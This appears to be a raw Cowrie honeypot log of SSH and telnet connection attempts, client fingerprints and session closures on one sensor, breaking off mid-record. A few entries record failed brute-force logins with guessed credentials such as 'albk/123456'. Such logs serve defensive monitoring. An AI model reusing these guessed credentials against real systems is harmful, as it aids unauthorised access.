{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":59428,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb84ef7c70fd","protocol":"telnet","message":"New connection: 69.6.225.50:59428 (159.203.135.109:23) [session: fb84ef7c70fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:00.352140Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.133.227.168","src_port":38602,"dst_ip":"159.203.135.109","dst_port":23,"session":"6539fcde258d","protocol":"telnet","message":"New connection: 102.133.227.168:38602 (159.203.135.109:23) [session: 6539fcde258d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:01.641022Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.133.227.168","src_port":38692,"dst_ip":"159.203.135.109","dst_port":23,"session":"687418553ae8","protocol":"telnet","message":"New connection: 102.133.227.168:38692 (159.203.135.109:23) [session: 687418553ae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:02.097358Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":53754,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb05e110a00c","protocol":"ssh","message":"New connection: 194.59.206.2:53754 (159.203.135.109:22) [session: cb05e110a00c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:03.592432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:03.597594Z","src_ip":"194.59.206.2","session":"cb05e110a00c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:03.687980Z","src_ip":"194.59.206.2","session":"cb05e110a00c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.578879594802856,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:03.765236Z","src_ip":"144.79.218.12","session":"2dc71ff9d269","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:03.788413Z","src_ip":"194.59.206.2","session":"cb05e110a00c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.65120768547058,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:04.059007Z","src_ip":"144.79.218.12","session":"204545ffbccb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44512,"dst_ip":"159.203.135.109","dst_port":22,"session":"79a0ad35fe1b","protocol":"ssh","message":"New connection: 159.203.92.129:44512 (159.203.135.109:22) [session: 79a0ad35fe1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:04.983044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:04.998317Z","src_ip":"159.203.92.129","session":"79a0ad35fe1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:05.007190Z","src_ip":"159.203.92.129","session":"79a0ad35fe1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"albk","password":"123456","message":"login attempt [albk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:05.022247Z","src_ip":"159.203.92.129","session":"79a0ad35fe1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.52751350402832,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:05.686753Z","src_ip":"144.79.218.12","session":"13e692739ed6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:06.029016Z","src_ip":"159.203.92.129","session":"79a0ad35fe1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.1389524936676,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:08.117961Z","src_ip":"144.79.218.12","session":"be6fac00d671","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.75817251205444,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:09.510691Z","src_ip":"144.79.218.12","session":"9c3c0b0ad965","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13196563720703,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:09.610879Z","src_ip":"69.6.225.50","session":"88bfd32d1c08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.580053091049194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:12.065912Z","src_ip":"69.6.225.50","session":"1657d83b08e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":54124,"dst_ip":"10.17.0.5","dst_port":23,"session":"385d2be730ca","protocol":"telnet","message":"New connection: 144.79.218.12:54124 (10.17.0.5:23) [session: 385d2be730ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:12.946749Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":54126,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae65fcdf2547","protocol":"telnet","message":"New connection: 144.79.218.12:54126 (10.17.0.5:23) [session: ae65fcdf2547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:14.026780Z"}
{"eventid":"cowrie.session.closed","duration":31.201027870178223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:14.274708Z","src_ip":"69.6.225.50","session":"5e60072a3866","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":54142,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceb578b8e360","protocol":"telnet","message":"New connection: 144.79.218.12:54142 (10.17.0.5:23) [session: ceb578b8e360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:14.344676Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":54146,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb69d58691db","protocol":"telnet","message":"New connection: 144.79.218.12:54146 (10.17.0.5:23) [session: eb69d58691db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:14.800735Z"}
{"eventid":"cowrie.session.closed","duration":37.025861501693726,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:15.309898Z","src_ip":"144.79.218.12","session":"e1120f4fea28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.63596153259277,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:15.761064Z","src_ip":"5.61.90.139","session":"e35e034f302f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.31491947174072,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:16.038453Z","src_ip":"144.79.218.12","session":"2bd93e37de46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02789282798767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:16.433657Z","src_ip":"185.15.23.59","session":"5d0b53188ce8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":54156,"dst_ip":"10.17.0.5","dst_port":23,"session":"1212faa51cc0","protocol":"telnet","message":"New connection: 144.79.218.12:54156 (10.17.0.5:23) [session: 1212faa51cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:16.487077Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":54172,"dst_ip":"10.17.0.5","dst_port":23,"session":"70e868d1441d","protocol":"telnet","message":"New connection: 144.79.218.12:54172 (10.17.0.5:23) [session: 70e868d1441d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:16.779245Z"}
{"eventid":"cowrie.session.closed","duration":30.346596717834473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:17.074586Z","src_ip":"69.6.225.50","session":"b37bcc80c99c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.4759624004364,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:17.231438Z","src_ip":"144.79.218.12","session":"84ff2072bb7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858031511306763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:18.411085Z","src_ip":"185.15.23.59","session":"8e7a7be43058","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":54180,"dst_ip":"10.17.0.5","dst_port":23,"session":"01d8da2a897b","protocol":"telnet","message":"New connection: 144.79.218.12:54180 (10.17.0.5:23) [session: 01d8da2a897b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:18.732574Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":46442,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2ba748d8cb4","protocol":"telnet","message":"New connection: 144.79.218.12:46442 (10.17.0.5:23) [session: d2ba748d8cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:20.581565Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":46446,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e76e267e5fd","protocol":"telnet","message":"New connection: 144.79.218.12:46446 (10.17.0.5:23) [session: 6e76e267e5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:20.676570Z"}
{"eventid":"cowrie.session.closed","duration":38.06808018684387,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:20.848731Z","src_ip":"5.61.90.139","session":"6a70cbb1d1ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.48614716529846,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:21.788655Z","src_ip":"144.79.218.12","session":"65c811291192","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.277851581573486,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:21.883228Z","src_ip":"144.79.218.12","session":"447e96539344","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.61421012878418,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:22.636123Z","src_ip":"144.79.218.12","session":"2521052e503b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.631945848464966,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:22.649003Z","src_ip":"144.79.218.12","session":"6a57966e2a06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.929325342178345,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:22.791125Z","src_ip":"144.79.218.12","session":"1e14ff23f541","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26053214073181,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:22.807680Z","src_ip":"185.15.23.59","session":"facee17e18b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":46454,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b8ff32d4a24","protocol":"telnet","message":"New connection: 144.79.218.12:46454 (10.17.0.5:23) [session: 6b8ff32d4a24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:24.074469Z"}
{"eventid":"cowrie.session.closed","duration":38.74731254577637,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:25.302456Z","src_ip":"144.79.218.12","session":"649e9ef95194","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.516911029815674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:25.343818Z","src_ip":"185.15.23.59","session":"85cac1fc971a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.44123697280884,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:26.298761Z","src_ip":"144.79.218.12","session":"900b921ba937","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":46462,"dst_ip":"10.17.0.5","dst_port":23,"session":"a92302bda073","protocol":"telnet","message":"New connection: 144.79.218.12:46462 (10.17.0.5:23) [session: a92302bda073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:27.568569Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":42658,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b6ed875af13","protocol":"telnet","message":"New connection: 144.79.218.12:42658 (10.17.0.5:23) [session: 4b6ed875af13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:29.166179Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":48980,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e9081ae3e70","protocol":"ssh","message":"New connection: 68.183.236.1:48980 (159.203.135.109:22) [session: 3e9081ae3e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:30.998395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:31.003429Z","src_ip":"68.183.236.1","session":"3e9081ae3e70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.709057807922363,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:31.061100Z","src_ip":"69.6.225.50","session":"fb84ef7c70fd","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:31.249043Z","src_ip":"68.183.236.1","session":"3e9081ae3e70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.48344898223877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:32.124324Z","src_ip":"102.133.227.168","session":"6539fcde258d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"redhat","message":"login attempt [frappe/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:32.264641Z","src_ip":"68.183.236.1","session":"3e9081ae3e70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.052613973617554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:33.149839Z","src_ip":"102.133.227.168","session":"687418553ae8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.27320408821106,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:33.280692Z","src_ip":"144.79.218.12","session":"720721b84404","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:33.512787Z","src_ip":"68.183.236.1","session":"3e9081ae3e70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.884441614151,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:33.853763Z","src_ip":"144.79.218.12","session":"e60976714248","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":42664,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddd5003acc42","protocol":"telnet","message":"New connection: 144.79.218.12:42664 (10.17.0.5:23) [session: ddd5003acc42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:35.267848Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":42668,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4080b892db8","protocol":"telnet","message":"New connection: 144.79.218.12:42668 (10.17.0.5:23) [session: d4080b892db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:38.858493Z"}
{"eventid":"cowrie.session.closed","duration":41.41032958030701,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:40.610913Z","src_ip":"5.61.90.139","session":"1f98e15631e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.110.147.56","src_port":45010,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab02f482aae4","protocol":"ssh","message":"New connection: 222.110.147.56:45010 (10.17.0.5:22) [session: ab02f482aae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:45.626873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:45.669891Z","src_ip":"222.110.147.56","session":"ab02f482aae4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk